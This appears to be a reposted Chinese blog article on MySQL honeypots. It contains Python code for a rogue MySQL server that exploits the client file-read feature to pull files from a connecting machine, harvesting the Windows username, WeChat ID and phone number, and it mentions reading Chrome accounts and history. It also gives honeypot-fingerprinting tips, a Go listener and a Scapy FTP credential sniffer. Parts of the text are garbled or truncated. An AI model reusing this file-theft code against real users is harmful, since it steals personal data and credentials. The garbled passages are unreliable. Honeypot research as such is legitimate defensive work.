大家好,欢迎来到IT知识分享网。
核心代码分析
下面的代码主要有两个作用
- 判断是否为扫描器或者密码爆破工具,进行交互握手,效果是扫描器直接爆3306弱口令。
- 如果是直接连接,去读取设定好的文件,并写入本地保存。
这些函数用于从MySQL数据库中获取指定文件的内容。它接收一个文件名、连接和地址作为输入参数。它创建一个日志目录,用于存储获取到的文件内容。它通过连接发送和接收数据,以检索文件内容。如果检索到的内容大于6个字节,则将其写入日志目录中的文件,并返回一个包含True值和内容的元组。否则,返回一个包含False值和内容的元组。
def mysql_get_file_content(filename,conn,address): logpath = os.path.abspath('.') + "/log/" + address[0] if not os.path.exists(logpath): os.makedirs(logpath) conn.sendall("xxx") try: conn.recv() except Exception as e: print(e) try: conn.sendall("xx") res1 = conn.recv() # SHOW VARIABLES if 'SHOW VARIABLES' in res1: conn.sendall("xxx") res2 = conn.recv(9999) if 'SHOW WARNINGS' in res2: conn.sendall("xxx") res3 = conn.recv(9999) if 'SHOW COLLATION' in res3: conn.sendall("xxx") res4 = conn.recv(9999) if 'SET NAMES utf8' in res4: conn.sendall("xxx") res5 = conn.recv(9999) if 'SET character_set_results=NULL' in res5: conn.sendall("xxx") conn.close() else: conn.close() else: conn.close() else: conn.close() else: try: wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename conn.sendall(wantfile) content='' while True: data = conn.recv(1024) print len(data) content += data if len(data) < 1024: print 'ok' break conn.close() item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random()) if len(content) > 6: with open(item, "w") as f: f.write(content) f.close() return (True,content) else: return (False,content) except Exception as e: print (e) except Exception as e: print (e)
为防止读取文件内容不完整,可以加入while循环。
while True: conn, address = sv.accept() first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") global files1 global username global wx_id file=files1[0].replace('Administrator',username).replace('wx_id',wx_id) res,content = mysql_get_file_content(file,conn,address) files1.append(files1[0]) files1.remove(files1[0]) if res: if 'PFRO' in file: username = get_username(content) s= "xx" % (xx) cursor.execute(s) data = cursor.fetchall() if len(data)==0: s = "XX" % (xx) cursor.execute(s) db.commit() print 'success:'+ file insert_file(file,address,username) elif 'config.data'in file: content = content wxid = re.findall(r'WeChatFiles\(.*)\config', content)[0] sql = "xxx" % (xxx) cursor.execute(sql) db.commit() wx_id=wxid img = qrcode.make('weixin://contacts/profile/'+wxid) img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png') print 'success:'+ file insert_file(file,address,username) elif 'AccInfo' in file: content = content phone = re.findall(r'[0-9]{11}', content)[-1] sql = "xxx" % (xxx) cursor.execute(sql) db.commit() print 'success:'+ file insert_file(file,address,username) else: files1=files username='Administrator'
部署方法:
使用方法
攻击者通常会发现我们网站的一些漏洞,我们这里使用蜜罐技术,故意暴露我们的数据库,我们数据库这里设置弱口令,让攻击者可以连接。
攻击者在使用navicat连接我们的数据库时成功后,我们可以执行代码,读取到它的手机号、微信号、地址
读取Chrome账号和历史记录
MYsql蜜罐识别
协议识别
环境特征
指纹识别
- 蜜罐很多都是模拟响应
- 某个蜜罐很火很多人去用
- 既然是模拟那就一定会是代码模拟
- 有代码模拟==一定存在有规律的响应
- 有规律的响应== 可以总结出指纹
- 总结出指纹 == 被网络测绘系统识别
- 蜜罐魔改 改变模拟的响应 接着跳回2.
其它方法
通过ThreadId 识别蜜罐
通过Salt(盐) 识别蜜罐
通过Mysql拉黑机制来判断目标是否为蜜罐
通过登录验证识别蜜罐
蜜罐的开发:
python开发
- 选择蜜罐类型:根据需要选择合适的蜜罐类型,如网络蜜罐、系统蜜罐、应用程序蜜罐等。
- 设计蜜罐架构:设计蜜罐系统的架构,包括模拟的系统或服务、可用的协议、数据收集和分析等方面。
- 实现蜜罐功能:使用Python编写代码实现蜜罐的功能,如模拟协议、收集攻击数据、生成报告等。
- 选择合适的Python库:使用Python库可以简化蜜罐的开发过程,如Scapy用于网络流量分析、PyQt用于图形用户界面设计、Pandas用于数据分析等。
- 实现数据收集和分析:使用Python编写代码实现数据收集和分析功能,如将攻击数据保存到数据库、使用机器学习算法分析攻击模式等。
- 测试和优化:对蜜罐进行测试和优化,发现和修复漏洞,提高蜜罐的可用性和安全性。
Twisted 是一个基于事件的互联网应用程序框架,支持 Python 3.6+。它包括用于许多不同目的的模块,包括:
● twisted.web: HTTP 客户端和服务器、HTML 模板和 WSGI 服务器
● twisted.conch: SSHv2 和 Telnet 客户端和服务器以及终端仿真器
● twisted.words:用于 IRC、XMPP 和其他 IM 协议的客户端和服务器
● twisted.mail: IMAPv4、POP3、SMTP 客户端和服务器
● twisted.positioning: 与 NMEA 兼容的 GPS 接收器通信的工具
● twisted.names: DNS 客户端和工具,用于制作您自己的 DNS 服务器
● twisted.trial:与基于 Twisted 的代码很好地集成的单元测试框架。
只需要在对应的位置返回模拟端口服务的响应即可完成低交互
FTP蜜罐
package main import ( "fmt" "net" ) func main() { port := 8080 // 监听端口 listener, err := net.Listen("tcp", fmt.Sprintf(":%d", port)) if err != nil { panic(err) } defer listener.Close() fmt.Printf("Listening on port %d...\n", port) // 接受连接 for { conn, err := listener.Accept() if err != nil { fmt.Printf("Failed to accept connection: %s\n", err) continue } // 处理连接 go handleConnection(conn) } } func handleConnection(conn net.Conn) { // 记录连接信息 remoteAddr := conn.RemoteAddr().String() fmt.Printf("Connection from %s\n", remoteAddr) // 读取数据 buf := make([]byte, 1024) n, err := conn.Read(buf) if err != nil { fmt.Printf("Failed to read data from %s: %s\n", remoteAddr, err) return } // 打印数据 fmt.Printf("Data from %s: %s\n", remoteAddr, string(buf[:n])) // 关闭连接 conn.Close() }
可以监听端口8080,并记录所有连接信息。可以根据需要扩展该代码,添加攻击检测和响应功能,以实现网络蜜罐的基本功能。
总结:
攻击:
防御:
- 设计蜜罐架构:本例中,我们将使用Python和Scapy库实现一个网络蜜罐,模拟一个FTP服务器。我们将收集攻击者的IP地址、用户名和密码,并将它们保存到一个数据库中。
- 实现蜜罐功能:我们使用Python编写代码实现蜜罐的功能。具体来说,我们使用Scapy库编写代码来监听FTP流量,解析FTP命令和参数,记录攻击者的IP地址、用户名和密码,并将它们保存到一个SQLite数据库中。以下是代码示例:
from scapy.all import * def handle_ftp(pkt): if pkt.haslayer(TCP) and pkt.haslayer(Raw): if pkt[TCP].dport == 21: data = pkt[Raw].load.decode('utf-8', errors='ignore') if 'USER' in data: username = data.split('USER ')[1].strip() print('Username: {}'.format(username)) elif 'PASS' in data: password = data.split('PASS ')[1].strip() print('Password: {}'.format(password)) attacker_ip = pkt[IP].src save_to_db(attacker_ip, username, password) def save_to_db(ip, username, password): conn = sqlite3.connect('attacks.db') c = conn.cursor() c.execute('INSERT INTO attacks (ip, username, password) VALUES (?, ?, ?)', (ip, username, password)) conn.commit() conn.close() if __name__ == '__main__': sniff(filter='tcp', prn=handlego开发
- 选择蜜罐类型:网络蜜罐。
- 设计蜜罐架构:蜜罐由以下模块组成:
● 捕获模块:监听网络流量,识别攻击流量,并将攻击流量发送给分析模块。
● 分析模块:对攻击流量进行分析,提取攻击特征,并将分析结果发送给响应模块。
● 响应模块:根据分析结果,生成虚假响应,向攻击者发送虚假数据,同时记录攻击行为和攻击者信息。 - 开发蜜罐程序:
● 捕获模块:使用Go语言编写网络监听程序,监听指定端口的网络流量,并识别攻击流量。
● 分析模块:使用Go语言编写攻击流量分析程序,提取攻击特征,并将分析结果发送给响应模块。
● 响应模块:使用Go语言编写虚假响应生成程序,根据分析结果生成虚假数据,并向攻击者发送虚假数据。 - 集成第三方组件:蜜罐集成了MySQL数据库,用于存储攻击日志和攻击者信息。
- 测试和优化:进行系统测试和性能优化,确保蜜罐的稳定性和可靠性。
监听8080端口
,该蜜罐可以监听端口并记录所有连接: - SQL注入攻击:攻击者通过构造恶意SQL语句,来获取敏感数据或控制数据库服务器。防御措施包括使用参数化查询、限制数据库用户权限、过滤输入数据等。
- 暴力激活成功教程攻击:攻击者通过暴力激活成功教程密码的方式,来获取数据库服务器的访问权限。防御措施包括使用强密码、限制登录次数、启用多因素认证等。
- 信息泄露攻击:攻击者通过获取数据库服务器的信息,来了解数据库服务器的结构和配置,以便进行下一步攻击。防御措施包括限制数据库用户权限、禁止远程访问、启用SSL加密等。
- 加强安全配置:在MySQL蜜罐中,需要加强安全配置,比如限制数据库用户权限、禁用远程访问、限制登录次数等。
- 监控攻击行为:在MySQL蜜罐中,需要实时监控攻击行为,比如记录攻击日志、分析攻击特征等。
- 响应攻击行为:在MySQL蜜罐中,需要及时响应攻击行为,比如生成虚假数据、发送警报信息等。
- 更新和升级:在MySQL蜜罐中,需要定期更新和升级系统和软件,以保持安全性和稳定性。
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/114738.html







